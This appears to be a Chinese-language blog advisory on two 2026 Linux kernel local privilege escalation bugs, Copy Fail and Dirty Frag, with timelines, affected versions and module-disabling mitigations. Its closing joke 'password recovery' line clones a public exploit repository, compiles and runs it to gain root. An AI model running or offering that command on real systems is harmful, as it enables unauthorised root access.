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Linux 本地提权漏洞报告:Copy Fail & Dirty Frag

  • 2026-06-22 03:30:49
Linux 本地提权漏洞报告:Copy Fail & Dirty Frag

近期披露的两个 Linux 内核本地提权漏洞 Copy Fail (CVE-2026-31431) 和 Dirty Frag 具有极高的安全影响。两者均利用了内核零拷贝(zero-copy)机制中的逻辑缺陷,允许本地无特权用户获得 root 权限,影响几乎所有主流 Linux 发行版。

1

Copy Fail (CVE-2026-31431)

1.1

基本信息

项目
内容
CVE ID
CVE-2026-31431
漏洞名称
Copy Fail
漏洞类型
本地提权 (LPE)
CVSS 评分
高危 (7.8)
发现者
Theori / Xint
披露日期
2026 年 4 月 29 日

PoC 仓库 ( https://github.com/theori-io/copy-fail-CVE-2026-31431 )

1.2

时间线

时间
事件
2017
引入漏洞代码:commit 72548b093ee38a6d (内核 4.14),为 algif_aead.c 添加 AEAD 就地操作优化
2026-4-22
内核安全团队私下修复漏洞,分配 CVE-2026-31431
2026-4-29
Theori/Xint 公开披露漏洞详情及 PoC,发布 https://copy.fail
2026-4-30
OSS-security 邮件列表讨论,Greg KH 等内核维护者回应
2026-5-6
Eric Biggers 提交 AF_ALG 弃用标记补丁,提议移除零拷贝支持
当前
各发行版已发布安全更新,AF_ALG 被标记为弃用

1.3

影响范围

影响项
详情
内核版本
Linux 4.14 ~ 6.18.22 / 6.19.12 / 7.0 之前的所有版本
发行版
Debian, Ubuntu, RHEL/CentOS, Fedora, Arch, SUSE 等几乎所有主流发行版
前提条件
本地用户账户、AF_ALG/algif_aead 模块可用、可读取目标文件
利用难度
中等(公开 PoC 已存在)

1.4

缓解措施

立即缓解(无需重启):

1echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf2rmmod algif_aead

长期措施:升级内核至已修复版本

2

Dirty Frag

2.1

基本信息

项目
内容
CVE ID
尚未分配(embargo 被提前打破)
漏洞名称
Dirty Frag
漏洞类型
本地提权 (LPE)
发现者
Hyunwoo Kim
披露日期
2026 年 5 月 7 日
性质
与 Copy Fail 类似的"Universal LPE"

2.2

时间线

时间
事件
2026-5-7 前
Hyunwoo Kim 通过协调披露流程发现漏洞,原定 5 月 12 日披露
2026-5-7
Steffen Klassert 的修复 commit f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 公开出现在 netdev/net.git
2026-5-7
Brad Spengler 公开指出该 commit 具有 CopyFail 类漏洞特征
2026-5-7
SiCk  基于公开 commit 编写 "Copy Fail 2" PoC 并发布
2026-5-7
Hyunwoo Kim 因 embargo 被打破,提前公开 Dirty Frag 详细报告和完整 PoC
2026-5-8
OSS-security 讨论,Greg KH 等回应
当前
无官方补丁,仅可通过禁用相关模块缓解

2.3

技术原理

Dirty Frag 由两个独立漏洞组合而成:

漏洞 1: xfrm ESP-in-UDP MSG_SPLICE_PAGES 无 COW 路径

漏洞 2: rxrpc/rxkad 逻辑缺陷

漏洞 1 提供页缓存写入能力(类似 Copy Fail)

漏洞 2 提供辅助提权路径

2.4

影响范围

影响项
详情
内核版本
所有支持 ESP-in-UDP 和 rxrpc 的内核版本(广泛)
发行版
Debian, Ubuntu, RHEL/CentOS, Fedora, Arch, SUSE 等几乎所有主流发行版
前提条件
本地用户账户、esp4/esp6/rxrpc 模块可用
利用难度
中等(完整 PoC 已公开)

2.5

缓解措施

立即缓解(推荐):

1sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

注意:禁用这些模块可能影响 VPN/IPSec 功能。

3

结论

Copy Fail 和 Dirty Frag 是近年来最具影响力的 Linux 本地提权漏洞组合。

影响范围几乎所有发行版,Copy Fail 正常披露;Dirty Frag 因上游 commit 公开导致 embargo 提前打破。

不过这两个都是本地提权漏洞,对于本就是 root 用户的个人服务器,这条新闻你就当没看到。

对于忘记 root 密码的人有福了(haha),找回密码教程:

1git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp2# 设置你的新密码3passwd root

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  1. CONNECT:[ UseTime:0.000936s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001372s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.043406s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000765s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001573s ]
  6. SELECT * FROM `set` [ RunTime:0.000636s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001515s ]
  8. SELECT * FROM `article` WHERE `id` = 492559 LIMIT 1 [ RunTime:0.001449s ]
  9. UPDATE `article` SET `lasttime` = 1783087081 WHERE `id` = 492559 [ RunTime:0.007931s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.009915s ]
  11. SELECT * FROM `article` WHERE `id` < 492559 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001413s ]
  12. SELECT * FROM `article` WHERE `id` > 492559 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000978s ]
  13. SELECT * FROM `article` WHERE `id` < 492559 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.012812s ]
  14. SELECT * FROM `article` WHERE `id` < 492559 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.022062s ]
  15. SELECT * FROM `article` WHERE `id` < 492559 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.025171s ]
0.286553s